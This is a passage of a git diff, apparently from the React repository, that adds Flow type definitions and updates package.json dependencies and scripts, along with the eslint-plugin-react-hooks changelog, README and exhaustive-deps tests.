+type AnimationReplaceState = 'active' | 'removed' | 'persisted';
+
+type CompositeOperation = 'replace' | 'add' | 'accumulate';
+
+type CompositeOperationOrAuto = 'replace' | 'add' | 'accumulate' | 'auto';
+
+type FillMode = 'none' | 'forwards' | 'backwards' | 'both' | 'auto';
+
+// This is actually web-animations-2
+type IterationCompositeOperation = 'replace' | 'accumulate';
+
+type PlaybackDirection =
+  | 'normal'
+  | 'reverse'
+  | 'alternate'
+  | 'alternate-reverse';
+
+type AnimationPlaybackEvent$Init = Event$Init & {
+  currentTime?: number | null,
+  timelineTime?: number | null,
+  ...
+};
+
+type BaseComputedKeyframe = {|
+  composite: CompositeOperationOrAuto,
+  computedOffset: number,
+  easing: string,
+  offset: number | null,
+|};
+
+type BaseKeyframe = {|
+  composite: CompositeOperationOrAuto,
+  easing: string,
+  offset: number | null,
+|};
+
+type BasePropertyIndexedKeyframe = {|
+  composite: CompositeOperationOrAuto | Array<CompositeOperationOrAuto>,
+  easing: string | Array<string>,
+  offset: number | null | Array<number | null>,
+|};
+
+type ComputedEffectTiming = {|
+  ...EffectTiming,
+  currentIteration: number | null,
+  progress: number | null,
+|};
+
+type ComputedKeyframe = {
+  composite: CompositeOperationOrAuto,
+  computedOffset: number,
+  easing: string,
+  offset: number | null,
+  [property: string]: string | number | null | void,
+  ...
+};
+
+type DocumentTimelineOptions = {|
+  originTime: number,
+|};
+
+type EffectTiming = {|
+  direction: PlaybackDirection,
+  easing: string,
+  fill: FillMode,
+  iterations: number,
+  iterationStart: number,
+|};
+
+type GetAnimationsOptions = {|
+  pseudoElement: string | null,
+  subtree: boolean,
+|};
+
+type KeyframeAnimationOptions = {|
+  ...KeyframeEffectOptions,
+  id: string,
+  timeline: AnimationTimeline | null,
+|};
+
+type KeyframeEffectOptions = {|
+  ...EffectTiming,
+  composite: CompositeOperation,
+  pseudoElement: string | null,
+|};
+
+type Keyframe = {
+  composite?: CompositeOperationOrAuto,
+  easing?: string,
+  offset?: number | null,
+  [property: string]: string | number | null | void,
+  ...
+};
+
+type OptionalEffectTiming = Partial<EffectTiming>;
+
+type PropertyIndexedKeyframes = {
+  composite?: CompositeOperationOrAuto | CompositeOperationOrAuto[],
+  easing?: string | string[],
+  offset?: number | (number | null)[],
+  [property: string]:
+    | string
+    | string[]
+    | number
+    | null
+    | (number | null)[]
+    | void,
+  ...
+};
+
+declare class Animation extends EventTarget {
+  constructor(
+    effect?: AnimationEffect | null,
+    timeline?: AnimationTimeline | null
+  ): void;
+
+  id: string;
+  effect: AnimationEffect | null;
+  timeline: AnimationTimeline | null;
+  startTime: number | null;
+  currentTime: number | null;
+  playbackRate: number;
+  +playState: AnimationPlayState;
+  +replaceState: AnimationReplaceState;
+  +pending: boolean;
+  +ready: Promise<Animation>;
+  +finished: Promise<Animation>;
+  onfinish: ?(ev: AnimationPlaybackEvent) => mixed;
+  oncancel: ?(ev: AnimationPlaybackEvent) => mixed;
+  onremove: ?(ev: AnimationPlaybackEvent) => mixed;
+  cancel(): void;
+  finish(): void;
+  play(): void;
+  pause(): void;
+  updatePlaybackRate(playbackRate: number): void;
+  reverse(): void;
+  persist(): void;
+  commitStyles(): void;
+}
+
+declare class AnimationEffect {
+  getTiming(): EffectTiming;
+  getComputedTiming(): ComputedEffectTiming;
+  updateTiming(timing?: OptionalEffectTiming): void;
+}
+
+declare class AnimationPlaybackEvent extends Event {
+  constructor(
+    type: string,
+    animationEventInitDict?: AnimationPlaybackEvent$Init
+  ): void;
+  +currentTime: number | null;
+  +timelineTime: number | null;
+}
+
+declare class AnimationTimeline {
+  +currentTime: number | null;
+}
+
+declare class DocumentTimeline extends AnimationTimeline {
+  constructor(options?: DocumentTimelineOptions): void;
+}
+
+declare class KeyframeEffect extends AnimationEffect {
+  constructor(
+    target: Element | null,
+    keyframes: Keyframe[] | PropertyIndexedKeyframes | null,
+    options?: number | KeyframeEffectOptions
+  ): void;
+  constructor(source: KeyframeEffect): void;
+
+  target: Element | null;
+  composite: CompositeOperation;
+  // This is actually web-animations-2
+  iterationComposite: IterationCompositeOperation;
+  getKeyframes(): ComputedKeyframe[];
+  setKeyframes(keyframes: Keyframe[] | PropertyIndexedKeyframes | null): void;
+}
+
+declare class mixin$Animatable {
+  animate(
+    keyframes: Keyframe[] | PropertyIndexedKeyframes | null,
+    options?: number | KeyframeAnimationOptions
+  ): Animation;
+  getAnimations(options?: GetAnimationsOptions): Array<Animation>;
+}
diff --git a/flow-typed/npm/error-stack-parser_v2.x.x.js b/flow-typed/npm/error-stack-parser_v2.x.x.js
new file mode 100644
index 000000000000..d23b837af252
--- /dev/null
+++ b/flow-typed/npm/error-stack-parser_v2.x.x.js
@@ -0,0 +1,60 @@
+// flow-typed signature: 132e48034ef4756600e1d98681a166b5
+// flow-typed version: c6154227d1/error-stack-parser_v2.x.x/flow_>=v0.104.x
+
+declare module 'error-stack-parser' {
+  declare interface StackFrame {
+    constructor(object: StackFrame): StackFrame;
+
+    isConstructor?: boolean;
+    getIsConstructor(): boolean;
+    setIsConstructor(): void;
+
+    isEval?: boolean;
+    getIsEval(): boolean;
+    setIsEval(): void;
+
+    isNative?: boolean;
+    getIsNative(): boolean;
+    setIsNative(): void;
+
+    isTopLevel?: boolean;
+    getIsTopLevel(): boolean;
+    setIsTopLevel(): void;
+
+    columnNumber?: number;
+    getColumnNumber(): number;
+    setColumnNumber(): void;
+
+    lineNumber?: number;
+    getLineNumber(): number;
+    setLineNumber(): void;
+
+    fileName?: string;
+    getFileName(): string;
+    setFileName(): void;
+
+    functionName?: string;
+    getFunctionName(): string;
+    setFunctionName(): void;
+
+    source?: string;
+    getSource(): string;
+    setSource(): void;
+
+    args?: any[];
+    getArgs(): any[];
+    setArgs(): void;
+
+    evalOrigin?: StackFrame;
+    getEvalOrigin(): StackFrame;
+    setEvalOrigin(): void;
+
+    toString(): string;
+  }
+
+  declare class ErrorStackParser {
+    parse(error: Error): Array<StackFrame>;
+  }
+
+  declare module.exports: ErrorStackParser;
+}
diff --git a/flow-typed/npm/minimist_v1.x.x.js b/flow-typed/npm/minimist_v1.x.x.js
new file mode 100644
index 000000000000..9da29ffe60c0
--- /dev/null
+++ b/flow-typed/npm/minimist_v1.x.x.js
@@ -0,0 +1,27 @@
+// flow-typed signature: d48da8db828529253fc20b80747846ea
+// flow-typed version: c6154227d1/minimist_v1.x.x/flow_>=v0.104.x
+
+declare module 'minimist' {
+  declare type minimistOptions = {
+    string?: string | Array<string>,
+    boolean?: boolean | string | Array<string>,
+    alias?: {[arg: string]: string | Array<string>, ...},
+    default?: {[arg: string]: any, ...},
+    stopEarly?: boolean,
+    // TODO: Strings as keys don't work...
+    // '--'? boolean,
+    unknown?: (param: string) => boolean,
+    ...
+  };
+
+  declare type minimistOutput = {
+    [flag: string]: string | boolean,
+    _: Array<string>,
+    ...
+  };
+
+  declare module.exports: (
+    argv: Array<string>,
+    opts?: minimistOptions
+  ) => minimistOutput;
+}
diff --git a/netlify.toml b/netlify.toml
deleted file mode 100644
index 9920f4119489..000000000000
--- a/netlify.toml
+++ /dev/null
@@ -1,9 +0,0 @@
-[build]
-  base    = ""
-  publish = "fixtures/dom/build"
-  command = "yarn build --type=UMD_DEV && cd fixtures/dom/ && yarn && yarn build"
-
-[[redirects]]
-  from = "/*"
-  to = "/index.html"
-  status = 200
diff --git a/package.json b/package.json
index fc482724ee7a..0ae925a1d4ec 100644
--- a/package.json
+++ b/package.json
@@ -7,6 +7,7 @@
     "@babel/cli": "^7.10.5",
     "@babel/code-frame": "^7.10.4",
     "@babel/core": "^7.11.1",
+    "@babel/helper-define-map": "^7.18.6",
     "@babel/helper-module-imports": "^7.10.4",
     "@babel/parser": "^7.11.3",
     "@babel/plugin-external-helpers": "^7.10.4",
@@ -19,6 +20,7 @@
     "@babel/plugin-transform-arrow-functions": "^7.10.4",
     "@babel/plugin-transform-block-scoped-functions": "^7.10.4",
     "@babel/plugin-transform-block-scoping": "^7.11.1",
+    "@babel/plugin-transform-class-properties": "^7.25.9",
     "@babel/plugin-transform-classes": "^7.10.4",
     "@babel/plugin-transform-computed-properties": "^7.10.4",
     "@babel/plugin-transform-destructuring": "^7.10.4",
@@ -27,21 +29,29 @@
     "@babel/plugin-transform-modules-commonjs": "^7.10.4",
     "@babel/plugin-transform-object-super": "^7.10.4",
     "@babel/plugin-transform-parameters": "^7.10.5",
+    "@babel/plugin-transform-private-methods": "^7.10.4",
     "@babel/plugin-transform-react-jsx": "^7.23.4",
     "@babel/plugin-transform-react-jsx-development": "^7.22.5",
     "@babel/plugin-transform-react-jsx-source": "^7.10.5",
     "@babel/plugin-transform-shorthand-properties": "^7.10.4",
     "@babel/plugin-transform-spread": "^7.11.0",
     "@babel/plugin-transform-template-literals": "^7.10.5",
+    "@babel/preset-env": "^7.26.9",
     "@babel/preset-flow": "^7.10.4",
     "@babel/preset-react": "^7.23.3",
+    "@babel/preset-typescript": "^7.26.0",
     "@babel/traverse": "^7.11.0",
     "@rollup/plugin-babel": "^6.0.3",
     "@rollup/plugin-commonjs": "^24.0.1",
     "@rollup/plugin-node-resolve": "^15.0.1",
     "@rollup/plugin-replace": "^5.0.2",
+    "@rollup/plugin-typescript": "^12.1.2",
+    "@types/invariant": "^2.2.35",
+    "@typescript-eslint/eslint-plugin": "^6.21.0",
+    "@typescript-eslint/parser": "^6.21.0",
     "abortcontroller-polyfill": "^1.7.5",
     "art": "0.10.1",
+    "babel-plugin-syntax-hermes-parser": "^0.32.0",
     "babel-plugin-syntax-trailing-function-commas": "^6.5.0",
     "chalk": "^3.0.0",
     "cli-table": "^0.3.1",
@@ -54,40 +64,45 @@
     "eslint": "^7.7.0",
     "eslint-config-prettier": "^6.9.0",
     "eslint-plugin-babel": "^5.3.0",
+    "eslint-plugin-es": "^4.1.0",
     "eslint-plugin-eslint-plugin": "^3.5.3",
     "eslint-plugin-ft-flow": "^2.0.3",
     "eslint-plugin-jest": "28.4.0",
     "eslint-plugin-no-for-of-loops": "^1.0.0",
     "eslint-plugin-no-function-declare-after-return": "^1.0.0",
     "eslint-plugin-react": "^6.7.1",
+    "eslint-plugin-react-hooks-published": "npm:eslint-plugin-react-hooks@^5.2.0",
     "eslint-plugin-react-internal": "link:./scripts/eslint-rules",
     "fbjs-scripts": "^3.0.1",
     "filesize": "^6.0.1",
-    "flow-bin": "^0.232.0",
-    "flow-remove-types": "^2.232.0",
+    "flow-bin": "^0.279.0",
+    "flow-remove-types": "^2.279.0",
+    "flow-typed": "^4.1.1",
     "glob": "^7.1.6",
     "glob-stream": "^6.1.0",
     "google-closure-compiler": "^20230206.0.0",
     "gzip-size": "^5.1.1",
-    "hermes-eslint": "^0.20.1",
-    "hermes-parser": "^0.20.1",
+    "hermes-eslint": "^0.32.0",
+    "hermes-parser": "^0.32.0",
     "jest": "^29.4.2",
     "jest-cli": "^29.4.2",
     "jest-diff": "^29.4.2",
     "jest-environment-jsdom": "^29.4.2",
+    "jest-silent-reporter": "^0.6.0",
     "jest-snapshot-serializer-raw": "^1.2.0",
     "minimatch": "^3.0.4",
     "minimist": "^1.2.3",
     "mkdirp": "^0.5.1",
     "ncp": "^2.0.0",
-    "prettier": "3.0.3",
+    "prettier": "^3.3.3",
     "prettier-2": "npm:prettier@^2",
     "pretty-format": "^29.4.1",
     "prop-types": "^15.6.2",
     "random-seed": "^0.3.0",
     "react-lifecycles-compat": "^3.0.4",
     "rimraf": "^3.0.0",
-    "rollup": "^3.17.1",
+    "rollup": "^3.29.5",
+    "rollup-plugin-dts": "^6.1.1",
     "rollup-plugin-prettier": "^4.1.1",
     "rollup-plugin-strip-banner": "^3.0.0",
     "semver": "^7.1.1",
@@ -96,27 +111,31 @@
     "targz": "^1.0.1",
     "through2": "^3.0.1",
     "tmp": "^0.1.0",
-    "typescript": "^3.7.5",
+    "to-fast-properties": "^2.0.0",
+    "tsup": "^8.4.0",
+    "typescript": "^5.4.3",
     "undici": "^5.28.4",
     "web-streams-polyfill": "^3.1.1",
     "yargs": "^15.3.1"
   },
-  "devEngines": {
-    "node": "16.x || 18.x || 20.x || 21.x"
-  },
   "jest": {
     "testRegex": "/scripts/jest/dont-run-jest-directly\\.js$"
   },
   "scripts": {
+    "prebuild": "./scripts/react-compiler/link-compiler.sh",
     "build": "node ./scripts/rollup/build-all-release-channels.js",
-    "build-for-devtools": "cross-env RELEASE_CHANNEL=experimental yarn build react/index,react/jsx,react/compiler-runtime,react-dom/index,react-dom/client,react-dom/unstable_testing,react-dom/test-utils,react-is,react-debug-tools,scheduler,react-test-renderer,react-refresh,react-art --type=NODE",
+    "build-for-devtools": "cross-env yarn build react/index,react/jsx,react/compiler-runtime,react-dom/index,react-dom/client,react-dom/unstable_testing,react-dom/test-utils,react-is,react-debug-tools,scheduler,react-test-renderer,react-refresh,react-art --type=NODE --release-channel=experimental",
     "build-for-devtools-dev": "yarn build-for-devtools --type=NODE_DEV",
     "build-for-devtools-prod": "yarn build-for-devtools --type=NODE_PROD",
+    "build-for-flight-dev": "cross-env RELEASE_CHANNEL=experimental node ./scripts/rollup/build.js react/index,react/jsx,react.react-server,react-dom/index,react-dom/client,react-dom/server,react-dom.react-server,react-dom-server.node,react-dom-server-legacy.node,scheduler,react-server-dom-webpack/,react-server-dom-unbundled/ --type=NODE_DEV,ESM_PROD,NODE_ES2015 && mv ./build/node_modules ./build/oss-experimental",
+    "build-for-flight-prod": "cross-env RELEASE_CHANNEL=experimental node ./scripts/rollup/build.js react/index,react/jsx,react.react-server,react-dom/index,react-dom/client,react-dom/server,react-dom.react-server,react-dom-server.node,react-dom-server-legacy.node,scheduler,react-server-dom-webpack/,react-server-dom-unbundled/ --type=NODE_PROD,ESM_PROD,NODE_ES2015 && mv ./build/node_modules ./build/oss-experimental",
+    "build-for-vt-dev": "cross-env RELEASE_CHANNEL=experimental node ./scripts/rollup/build.js react/index,react/jsx,react-dom/index,react-dom/client,react-dom/server,react-dom-server.node,react-dom-server-legacy.node,scheduler --type=NODE_DEV && mv ./build/node_modules ./build/oss-experimental",
+    "flow-typed-install": "yarn flow-typed install --skip --skipFlowRestart --ignore-deps=dev",
     "linc": "node ./scripts/tasks/linc.js",
     "lint": "node ./scripts/tasks/eslint.js",
     "lint-build": "node ./scripts/rollup/validate/index.js",
     "extract-errors": "node scripts/error-codes/extract-errors.js",
-    "postinstall": "node node_modules/fbjs-scripts/node/check-dev-engines.js package.json && node ./scripts/flow/createFlowConfigs.js",
+    "postinstall": "node ./scripts/flow/createFlowConfigs.js",
     "test": "node ./scripts/jest/jest-cli.js",
     "test-stable": "node ./scripts/jest/jest-cli.js --release-channel=stable",
     "test-www": "node ./scripts/jest/jest-cli.js --release-channel=www-modern",
@@ -127,13 +146,15 @@
     "flow-ci": "node ./scripts/tasks/flow-ci.js",
     "prettier": "node ./scripts/prettier/index.js write-changed",
     "prettier-all": "node ./scripts/prettier/index.js write",
+    "prettier-check": "node ./scripts/prettier/index.js",
     "version-check": "node ./scripts/tasks/version-check.js",
-    "publish-prereleases": "node ./scripts/release/publish-using-ci-workflow.js",
+    "publish-prereleases": "echo 'This command has been deprecated. Please refer to https://github.com/facebook/react/tree/main/scripts/release#trigger-an-automated-prerelease'",
     "download-build": "node ./scripts/release/download-experimental-build.js",
     "download-build-for-head": "node ./scripts/release/download-experimental-build.js --commit=$(git rev-parse HEAD)",
-    "download-build-in-codesandbox-ci": "cd scripts/release && yarn install && cd ../../ && yarn download-build-for-head || yarn build --type=node react/index react-dom/index react-dom/src/server react-dom/test-utils scheduler/index react/jsx-runtime react/jsx-dev-runtime",
+    "download-build-in-codesandbox-ci": "yarn build --type=node react/index react.react-server react-dom/index react-dom/client react-dom/src/server react-dom/test-utils react-dom.react-server scheduler/index react/jsx-runtime react/jsx-dev-runtime react-server-dom-webpack",
     "check-release-dependencies": "node ./scripts/release/check-release-dependencies",
     "generate-inline-fizz-runtime": "node ./scripts/rollup/generate-inline-fizz-runtime.js",
+    "generate-changelog": "node ./scripts/tasks/generate-changelog/index.js",
     "flags": "node ./scripts/flags/flags.js"
   },
   "resolutions": {
diff --git a/packages/eslint-plugin-react-hooks/CHANGELOG.md b/packages/eslint-plugin-react-hooks/CHANGELOG.md
index 589574ede95c..9f88047193e7 100644
--- a/packages/eslint-plugin-react-hooks/CHANGELOG.md
+++ b/packages/eslint-plugin-react-hooks/CHANGELOG.md
@@ -1,7 +1,72 @@
-## 5.0.0 (next release)
+## 7.0.1
+
+- Disallowed passing inline `useEffectEvent` values as JSX props to guard against accidental propagation. ([#34820](https://github.com/facebook/react/pull/34820) by [@jf-eirinha](https://github.com/jf-eirinha))
+- Switch to `export =` so eslint-plugin-react-hooks emits correct types for consumers in Node16 ESM projects. ([#34949](https://github.com/facebook/react/pull/34949) by [@karlhorky](https://github.com/karlhorky))
+- Tightened the typing of `configs.flat` so the `configs` export is always defined. ([#34950](https://github.com/facebook/react/pull/34950) by [@poteto](https://github.com/poteto))
+- Fix named import runtime errors. ([#34951](https://github.com/facebook/react/pull/34951), [#34953](https://github.com/facebook/react/pull/34953) by [@karlhorky](https://github.com/karlhorky))
+
+## 7.0.0
+
+This release slims down presets to just 2 configurations (`recommended` and `recommended-latest`), and all compiler rules are enabled by default.
+
+- **Breaking:** Removed `recommended-latest-legacy` and `flat/recommended` configs. The plugin now provides `recommended` (legacy and flat configs with all recommended rules),  and `recommended-latest` (legacy and flat configs with all recommended rules plus new bleeding edge experimental compiler rules). ([@poteto](https://github.com/poteto) in [#34757](https://github.com/facebook/react/pull/34757))
+
+## 6.1.1
+
+**Note:** 6.1.0 accidentally allowed use of `recommended` without flat config, causing errors when used with ESLint v9's `defineConfig()` helper. This has been fixed in 6.1.1.
+
+- Fix `recommended` config for flat config compatibility. The `recommended` config has been converted to flat config format. Non-flat config users should use `recommended-legacy` instead. ([@poteto](https://github.com/poteto) in [#34700](https://github.com/facebook/react/pull/34700))
+- Add `recommended-latest` and `recommended-latest-legacy` configs that include React Compiler rules. ([@poteto](https://github.com/poteto) in [#34675](https://github.com/facebook/react/pull/34675))
+- Remove unused `NoUnusedOptOutDirectives` rule. ([@poteto](https://github.com/poteto) in [#34703](https://github.com/facebook/react/pull/34703))
+- Remove `hermes-parser` and dependency. ([@poteto](https://github.com/poteto) in [#34719](https://github.com/facebook/react/pull/34719))
+- Remove `@babel/plugin-proposal-private-methods` dependency. ([@ArnaudBarre](https://github.com/ArnaudBarre) and [@josephsavona](https://github.com/josephsavona) in [#34715](https://github.com/facebook/react/pull/34715))
+- Update for Zod v3/v4 compatibility. ([@kolian](https://github.com/kolvian) and [@josephsavona](https://github.com/josephsavona) in [#34717](https://github.com/facebook/react/pull/34717))
+
+## 6.1.0
+
+**Note:** Version 6.0.0 was mistakenly released and immediately deprecated and untagged on npm. This is the first official 6.x major release and includes breaking changes.
+
+- **Breaking:** Require Node.js 18 or newer. ([@michaelfaith](https://github.com/michaelfaith) in [#32458](https://github.com/facebook/react/pull/32458))
+- **Breaking:** Flat config is now the default `recommended` preset. Legacy config moved to `recommended-legacy`. ([@michaelfaith](https://github.com/michaelfaith) in [#32457](https://github.com/facebook/react/pull/32457))
+- **New Violations:** Disallow calling `use` within try/catch blocks. ([@poteto](https://github.com/poteto) in [#34040](https://github.com/facebook/react/pull/34040))
+- **New Violations:** Disallow calling `useEffectEvent` functions in arbitrary closures. ([@jbrown215](https://github.com/jbrown215) in [#33544](https://github.com/facebook/react/pull/33544))
+- Handle `React.useEffect` in addition to `useEffect` in rules-of-hooks. ([@Ayc0](https://github.com/Ayc0) in [#34076](https://github.com/facebook/react/pull/34076))
+- Added `react-hooks` settings config option that to accept `additionalEffectHooks` that are used across exhaustive-deps and rules-of-hooks rules. ([@jbrown215](https://github.com/jbrown215)) in [#34497](https://github.com/facebook/react/pull/34497)
+
+## 6.0.0
+
+Accidentally released. See 6.1.0 for the actual changes.
+
+## 5.2.0
+
+- Support flat config ([@michaelfaith](https://github.com/michaelfaith) in [#30774](https://github.com/facebook/react/pull/30774))
+- Convert the plugin to TypeScript and provide package type declarations ([@michaelfaith](https://github.com/michaelfaith) in [#32279](https://github.com/facebook/react/pull/32279), [#32283](https://github.com/facebook/react/pull/32283), [#32240](https://github.com/facebook/react/pull/32240), [#32400](https://github.com/facebook/react/pull/32400) and [@poteto](https://github.com/poteto) in [#32420](https://github.com/facebook/react/pull/32420))
+- Fix false positive error in components with `do`/`while` loops ([@tyxla](https://github.com/tyxla) in [#31720](https://github.com/facebook/react/pull/31720))
+- Detect issues in class properties ([@mjesun](https://github.com/mjesun) & [@ecraig12345](https://github.com/ecraig12345) in [#31823](https://github.com/facebook/react/pull/31823))
+
+## 5.1.0
+
+- Add support for `do`/`while` loops ([@tyxla](https://github.com/tyxla) in [#28714](https://github.com/facebook/react/pull/28714))
+- Fix error when callback argument is an identifier with an `as` expression ([@mskelton](https://github.com/mskelton) in [#31119](https://github.com/facebook/react/pull/31119))
+
+## 5.0.0
 
 * **New Violations:** Component names now need to start with an uppercase letter instead of a non-lowercase letter. This means `_Button` or `_component` are no longer valid. ([@kassens](https://github.com/kassens)) in [#25162](https://github.com/facebook/react/pull/25162)
 
+- Consider dispatch from `useActionState` stable. ([@eps1lon](https://github.com/eps1lon) in [#29665](https://github.com/facebook/react/pull/29665))
+- Add support for ESLint v9. ([@eps1lon](https://github.com/eps1lon) in [#28773](https://github.com/facebook/react/pull/28773))
+- Accept `as` expression in callback. ([@StyleShit](https://github.com/StyleShit) in [#28202](https://github.com/facebook/react/pull/28202))
+- Accept `as` expressions in deps array. ([@StyleShit](https://github.com/StyleShit) in [#28189](https://github.com/facebook/react/pull/28189))
+- Treat `React.use()` the same as `use()`. ([@kassens](https://github.com/kassens) in [#27769](https://github.com/facebook/react/pull/27769))
+- Move `use()` lint to non-experimental. ([@kassens](https://github.com/kassens) in [#27768](https://github.com/facebook/react/pull/27768))
+- Support Flow `as` expressions. ([@cpojer](https://github.com/cpojer) in [#27590](https://github.com/facebook/react/pull/27590))
+- Allow `useEffect(fn, undefined)`. ([@kassens](https://github.com/kassens) in [#27525](https://github.com/facebook/react/pull/27525))
+- Disallow hooks in async functions. ([@acdlite](https://github.com/acdlite) in [#27045](https://github.com/facebook/react/pull/27045))
+- Rename experimental `useEvent` to `useEffectEvent`. ([@sebmarkbage](https://github.com/sebmarkbage) in [#25881](https://github.com/facebook/react/pull/25881))
+- Lint for presence of `useEvent` functions in dependency lists. ([@poteto](https://github.com/poteto) in [#25512](https://github.com/facebook/react/pull/25512))
+- Check `useEvent` references instead. ([@poteto](https://github.com/poteto) in [#25319](https://github.com/facebook/react/pull/25319))
+- Update `RulesOfHooks` with `useEvent` rules. ([@poteto](https://github.com/poteto) in [#25285](https://github.com/facebook/react/pull/25285))
+
 ## 4.6.0
 
 ## 4.5.0
diff --git a/packages/eslint-plugin-react-hooks/README.md b/packages/eslint-plugin-react-hooks/README.md
index d7a3e7d39cde..a1b4bcabb59f 100644
--- a/packages/eslint-plugin-react-hooks/README.md
+++ b/packages/eslint-plugin-react-hooks/README.md
@@ -1,13 +1,9 @@
 # `eslint-plugin-react-hooks`
 
-This ESLint plugin enforces the [Rules of Hooks](https://react.dev/reference/rules/rules-of-hooks).
-
-It is a part of the [Hooks API](https://react.dev/reference/react/hooks) for React.
+The official ESLint plugin for [React](https://react.dev) which enforces the [Rules of React](https://react.dev/reference/eslint-plugin-react-hooks) and other best practices.
 
 ## Installation
 
-**Note: If you're using Create React App, please use `react-scripts` >= 3 instead of adding it directly.**
-
 Assuming you already have ESLint installed, run:
 
 ```sh
@@ -18,21 +14,85 @@ npm install eslint-plugin-react-hooks --save-dev
 yarn add eslint-plugin-react-hooks --dev
 ```
 
-Then extend the recommended eslint config:
+### Flat Config (eslint.config.js|ts)
+
+Add the `recommended` config for all recommended rules:
+
+```js
+// eslint.config.js
+import reactHooks from 'eslint-plugin-react-hooks';
+import { defineConfig } from 'eslint/config';
+
+export default defineConfig([
+  reactHooks.configs.flat.recommended,
+]);
+```
+
+If you want to try bleeding edge experimental compiler rules, use `recommended-latest`.
+
+```js
+// eslint.config.js
+import reactHooks from 'eslint-plugin-react-hooks';
+import { defineConfig } from 'eslint/config';
+
+export default defineConfig([
+  reactHooks.configs.flat['recommended-latest'],
+]);
+```
+
+### Legacy Config (.eslintrc)
+
+If you are still using ESLint below 9.0.0, the `recommended` preset can also be used to enable all recommended rules.
 
 ```js
 {
-  "extends": [
-    // ...
-    "plugin:react-hooks/recommended"
-  ]
+  "extends": ["plugin:react-hooks/recommended"],
+  // ...
 }
+
 ```
 
 ### Custom Configuration
 
-If you want more fine-grained configuration, you can instead add a snippet like this to your ESLint configuration file:
+If you want more fine-grained configuration, you can instead choose to enable specific rules. However, we strongly encourage using the recommended presets — see above — so that you will automatically receive new recommended rules as we add them in future versions of the plugin.
+
+#### Flat Config (eslint.config.js|ts)
+
+```js
+import reactHooks from 'eslint-plugin-react-hooks';
+
+export default [
+  {
+    files: ['**/*.{js,jsx}'],
+    plugins: { 'react-hooks': reactHooks },
+    // ...
+    rules: {
+      // Core hooks rules
+      'react-hooks/rules-of-hooks': 'error',
+      'react-hooks/exhaustive-deps': 'warn',
+
+      // React Compiler rules
+      'react-hooks/config': 'error',
+      'react-hooks/error-boundaries': 'error',
+      'react-hooks/component-hook-factories': 'error',
+      'react-hooks/gating': 'error',
+      'react-hooks/globals': 'error',
+      'react-hooks/immutability': 'error',
+      'react-hooks/preserve-manual-memoization': 'error',
+      'react-hooks/purity': 'error',
+      'react-hooks/refs': 'error',
+      'react-hooks/set-state-in-effect': 'error',
+      'react-hooks/set-state-in-render': 'error',
+      'react-hooks/static-components': 'error',
+      'react-hooks/unsupported-syntax': 'warn',
+      'react-hooks/use-memo': 'error',
+      'react-hooks/incompatible-library': 'warn',
+    }
+  },
+];
+```
 
+#### Legacy Config (.eslintrc)
 ```js
 {
   "plugins": [
@@ -41,13 +101,30 @@ If you want more fine-grained configuration, you can instead add a snippet like
   ],
   "rules": {
     // ...
+    // Core hooks rules
     "react-hooks/rules-of-hooks": "error",
-    "react-hooks/exhaustive-deps": "warn"
+    "react-hooks/exhaustive-deps": "warn",
+
+    // React Compiler rules
+    "react-hooks/config": "error",
+    "react-hooks/error-boundaries": "error",
+    "react-hooks/component-hook-factories": "error",
+    "react-hooks/gating": "error",
+    "react-hooks/globals": "error",
+    "react-hooks/immutability": "error",
+    "react-hooks/preserve-manual-memoization": "error",
+    "react-hooks/purity": "error",
+    "react-hooks/refs": "error",
+    "react-hooks/set-state-in-effect": "error",
+    "react-hooks/set-state-in-render": "error",
+    "react-hooks/static-components": "error",
+    "react-hooks/unsupported-syntax": "warn",
+    "react-hooks/use-memo": "error",
+    "react-hooks/incompatible-library": "warn"
   }
 }
 ```
 
-
 ## Advanced Configuration
 
 `exhaustive-deps` can be configured to validate dependencies of custom Hooks with the `additionalHooks` option.
@@ -55,10 +132,10 @@ This option accepts a regex to match the names of custom Hooks that have depende
 
 ```js
 {
-  "rules": {
+  rules: {
     // ...
     "react-hooks/exhaustive-deps": ["warn", {
-      "additionalHooks": "(useMyCustomHook|useMyOtherCustomHook)"
+      additionalHooks: "(useMyCustomHook|useMyOtherCustomHook)"
     }]
   }
 }
diff --git a/packages/eslint-plugin-react-hooks/__tests__/ESLintRuleExhaustiveDeps-test.js b/packages/eslint-plugin-react-hooks/__tests__/ESLintRuleExhaustiveDeps-test.js
index 235d60349b6e..29e956d314a2 100644
--- a/packages/eslint-plugin-react-hooks/__tests__/ESLintRuleExhaustiveDeps-test.js
+++ b/packages/eslint-plugin-react-hooks/__tests__/ESLintRuleExhaustiveDeps-test.js
@@ -12,7 +12,8 @@
 const ESLintTesterV7 = require('eslint-v7').RuleTester;
 const ESLintTesterV9 = require('eslint-v9').RuleTester;
 const ReactHooksESLintPlugin = require('eslint-plugin-react-hooks');
-const ReactHooksESLintRule = ReactHooksESLintPlugin.rules['exhaustive-deps'];
+const ReactHooksESLintRule =
+  ReactHooksESLintPlugin.default.rules['exhaustive-deps'];
 
 /**
  * A string template tag that removes padding from the left side of multi-line strings
@@ -515,6 +516,22 @@ const tests = {
       `,
       options: [{additionalHooks: 'useCustomEffect'}],
     },
+    {
+      // behaves like no deps
+      code: normalizeIndent`
+        function MyComponent(props) {
+          useSpecialEffect(() => {
+            console.log(props.foo);
+          }, null);
+        }
+      `,
+      options: [
+        {
+          additionalHooks: 'useSpecialEffect',
+          experimental_autoDependenciesHooks: ['useSpecialEffect'],
+        },
+      ],
+    },
     {
       code: normalizeIndent`
         function MyComponent(props) {
@@ -607,6 +624,8 @@ const tests = {
           const [state4, dispatch2] = React.useReducer();
           const [state5, maybeSetState] = useFunnyState();
           const [state6, maybeDispatch] = useFunnyReducer();
+          const [state9, dispatch5] = useActionState();
+          const [state10, dispatch6] = React.useActionState();
           const [isPending1] = useTransition();
           const [isPending2, startTransition2] = useTransition();
           const [isPending3] = React.useTransition();
@@ -624,6 +643,8 @@ const tests = {
             setState2();
             dispatch1();
             dispatch2();
+            dispatch5();
+            dispatch6();
             startTransition1();
             startTransition2();
             startTransition3();
@@ -646,7 +667,7 @@ const tests = {
             maybeDispatch();
           }, [
             // Dynamic
-            state1, state2, state3, state4, state5, state6,
+            state1, state2, state3, state4, state5, state6, state9, state10,
             maybeRef1, maybeRef2,
             isPending2, isPending4,
 
@@ -1464,8 +1485,119 @@ const tests = {
         }
       `,
     },
+    {
+      // Test settings-based additionalHooks - should work with settings
+      code: normalizeIndent`
+        function MyComponent(props) {
+          useCustomEffect(() => {
+            console.log(props.foo);
+          });
+        }
+      `,
+      settings: {
+        'react-hooks': {
+          additionalEffectHooks: 'useCustomEffect',
+        },
+      },
+    },
+    {
+      // Test settings-based additionalHooks - should work with dependencies
